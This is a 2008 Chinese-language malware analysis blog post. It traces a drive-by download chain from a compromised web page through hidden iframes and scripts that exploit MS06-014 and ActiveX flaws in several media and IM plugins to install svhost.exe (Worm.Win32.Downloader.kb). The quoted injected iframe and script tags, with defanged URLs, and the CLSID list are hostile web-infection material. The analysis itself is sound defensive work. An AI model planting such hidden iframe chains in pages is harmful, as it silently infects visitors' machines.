自动进入" 天眼通官网 "？其实是自动种马网(Worm.Win32.Downloader.kb)

自动进入" 天眼通官网 "？其实是自动种马网(Worm.Win32.Downloader.kb)

endurer 原创
2008-05-09 第1版

在网页hxxp://www.z*j***5*0.***.cn/c*f**.asp?user_name=pp365pp上发现代码：

/---
＜iframe width=0 height=0 src="hxxp://www.v*h***68.***.cn/lj/lfad.html?ad05"＞＜/iframe＞
---/

#1 hxxp://www.v*h***68.***.cn/lj/lfad.html?ad05 包含代码：
/---
＜iframe src="news.html" width=100 height=0＞＜/iframe＞
---/

#1.1 hxxp://www.v*h***68.***.cn/lj/news.html

输出代码：
/---
＜script src=hxxp://www.v*h***68.***.cn/lj/ms06014.js＞＜/script＞
＜iframe width=100 height=0 src=hxxp://www.v*h***68.***.cn/lj/Thunder.html＞＜/iframe＞
＜iframe style=display:none src="hxxp://www.v*h***68.***.cn/lj/GLWORLD.html"＞＜/iframe＞
＜iframe style=display:none src="hxxp://www.v*h***68.***.cn/lj/StormII.html"＞＜/iframe＞
＜sCrIpT LAnGuAgE="jAvAsCrIpT" src=hxxp://www.v*h***68.***.cn/lj/real.js＞＜/script＞
＜iframe style=display:none src="hxxp://www.v*h***68.***.cn/lj/Real.html"＞＜/iframe＞
---/

#1.1.1 hxxp://www.v*h***68.***.cn/lj/ms06014.js

利用MS06-014漏洞下载 hxxp://www.v*h***68.***.cn/lj/svhost.exe

文件说明符 : D:/test/svhost.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-5-9 21:30:14
修改时间 : 2008-5-9 21:30:14
大小 : 24596 字节 24.20 KB
MD5 : cf2f307f4913ccc9204a2c0c9a8896c8
SHA1: 1917436C7FCA0E5879924B0782CE7F4843B6359C
CRC32: 89e52725

卡巴斯基报为：Worm.Win32.Downloader.kb，瑞星20.43.42没反应。

#1.1.2 hxxp://www.v*h***68.***.cn/lj/Thunder.html

利用迅雷（DPClient.Vod，clsid:F3E70CEA-956E-49CC-B444-73AFE593AD7F）漏洞下载hxxp://www.v*h***68.***.cn/lj/svhost.exe

#1.1.3 hxxp://www.v*h***68.***.cn/lj/GLWORLD.html

利用联众（GLIEDown.IEDown.1，clsid:61F5C358-60FB-4A23-A312-D2B556620F20）漏洞下载hxxp://www.v*h***68.***.cn/lj/svhost.exe

#1.1.4 hxxp://www.v*h***68.***.cn/lj/StormII.html

利用暴风影音（MPS.StormPlayer.1，clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB）漏洞下载hxxp://www.v*h***68.***.cn/lj/svhost.exe

#1.1.5 hxxp://www.v*h***68.***.cn/lj/real.js

利用RealPlayer（IERPCtl.IERPCtl.1）漏洞下载hxxp://www.v*h***68.***.cn/lj/svhost.exe

#1.1.6 hxxp://www.v*h***68.***.cn/lj/Real.html

利用RealPlayer（clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA）漏洞下载hxxp://www.v*h***68.***.cn/lj/svhost.exe

#1.1.7 利用 BaiduBar.Tool 下载 hxxp://www.v*h***68.***.cn/lj/svhost.cab，内含 svhost.exe